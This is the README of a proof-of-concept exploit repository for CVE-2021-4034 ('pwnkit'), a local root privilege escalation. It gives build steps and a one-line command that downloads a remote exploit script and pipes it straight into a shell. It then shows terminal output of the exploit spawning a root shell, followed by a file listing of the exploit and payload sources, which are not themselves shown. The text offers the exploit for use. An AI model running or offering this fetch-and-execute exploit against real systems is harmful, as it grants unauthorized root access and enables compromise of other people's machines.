PoC for CVE-2021-4034 dubbed pwnkit# poc-cve-2021-4034
PoC for CVE-2021-4034 dubbed pwnkit
[](https://github.com/dzonerzy/poc-cve-2021-4034/actions/workflows/autorelease.yml)
## How to use
just run make `make` then check release folder or if you prefer the one liner
`sh -c "$(curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh)"`
## Enjoy
```shell
dzonerzy@DESKTOP-5JHC90H:/mnt/c/Users/DZONERZY/GolangProjects/pkpwn$ ./exploit
Spawning root shell!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1000(dzonerzy)
```
[4.0K] /data/pocs/18ddcc886147176674928761a00f5cefcddcb394
├── [2.8K] exploit.go
├── [1.1K] LICENSE
├── [ 502] Makefile
├── [4.0K] payload
│ └── [2.2K] payload.go
└── [ 749] README.md
1 directory, 5 files